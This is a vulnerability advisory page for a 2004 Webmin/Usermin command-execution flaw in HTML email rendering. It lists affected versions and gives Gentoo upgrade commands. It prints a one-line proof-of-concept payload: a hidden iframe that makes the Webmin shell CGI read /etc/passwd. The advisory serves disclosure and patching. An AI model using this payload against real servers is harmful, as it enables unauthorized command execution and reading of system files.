Webmin / Usermin HTML Email Command Execution Vulnerability

BID:11122

Info

Webmin / Usermin HTML Email Command Execution Vulnerability

Bugtraq ID: 11122
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Sep 07 2004 12:00AM
Updated: Sep 07 2004 12:00AM
Credit: Disclosure of this issue is credited to Keigo Yamazaki.
Vulnerable: Webmin Webmin 1.150
Webmin Webmin 1.140
Webmin Webmin 1.130
Webmin Webmin 1.121
Webmin Webmin 1.110
Webmin Webmin 1.100
Webmin Webmin 1.0 90
Webmin Webmin 1.0 80
Webmin Webmin 1.0 70
+ HP Apache-Based Web Server 1.3.27 .01
 + HP Apache-Based Web Server 1.3.27 .01
 + HP Webmin-Based Admin 1.0.1 .01
 + HP Webmin-Based Admin 1.0.1 .01
 + Turbolinux Turbolinux Server 8.0
+ Turbolinux Turbolinux Server 8.0
+ Turbolinux Turbolinux Server 7.0
+ Turbolinux Turbolinux Server 7.0
+ Turbolinux Turbolinux Workstation 8.0
Webmin Webmin 1.0 60
Webmin Webmin 1.0 50
Webmin Webmin 1.0 20
Webmin Webmin 1.0 00
Usermin Usermin 1.0 80
Usermin Usermin 1.0 70
Usermin Usermin 1.0 60
Usermin Usermin 1.0 51
Usermin Usermin 1.0 40
Usermin Usermin 1.0 30
Usermin Usermin 1.0 20
Usermin Usermin 1.0 10
Usermin Usermin 1.0 00
Not Vulnerable: Webmin Webmin 1.160
Usermin Usermin 1.0 90

Discussion

Webmin / Usermin HTML Email Command Execution Vulnerability

Webmin / Usermin are reportedly affected by a command execution vulnerability when rendering HTML email messages. This issue is due to a failure to sanitize HTML email messages and may allow an attacker to execute arbitrary commands on a vulnerable computer.

This issue is reported to affect Usermin versions 1.080 and prior.

Exploit / POC

Webmin / Usermin HTML Email Command Execution Vulnerability

No exploit is required.

The following proof of concept is available:
<iframe src='/shell/index.cgi?cmd=cat+%2Fetc%2Fpasswd&pwd=%2Fhome%2Fv
ictim&history=' height=0 width=0></iframe>

Solution / Fix

Webmin / Usermin HTML Email Command Execution Vulnerability

Solution:
It is reported that Usermin version 1.090 and Webmin 1.160 are not affected by this issue.

Gentoo has released an advisory to address these issues. Please see the referenced advisory for more information. Gentoo users may carry out the following commands to update their computers:

Usermin:
emerge sync
emerge -pv ">=app-admin/usermin-1.090"
emerge ">=app-admin/usermin-1.090"

Webmin:
emerge sync
emerge -pv ">=app-admin/webmin-1.160"
emerge ">=app-admin/webmin-1.160"


Webmin Webmin 1.0 00

Usermin Usermin 1.0 10

Webmin Webmin 1.0 90

Usermin Usermin 1.0 00

Usermin Usermin 1.0 30

Webmin Webmin 1.0 50

Usermin Usermin 1.0 80

Webmin Webmin 1.0 80

Usermin Usermin 1.0 51

Usermin Usermin 1.0 60

Usermin Usermin 1.0 40

Webmin Webmin 1.0 60

Webmin Webmin 1.0 70

Usermin Usermin 1.0 70

Webmin Webmin 1.0 20

Usermin Usermin 1.0 20

Webmin Webmin 1.100

Webmin Webmin 1.110

Webmin Webmin 1.121

Webmin Webmin 1.130

Webmin Webmin 1.140

Webmin Webmin 1.150

References

Webmin / Usermin HTML Email Command Execution Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report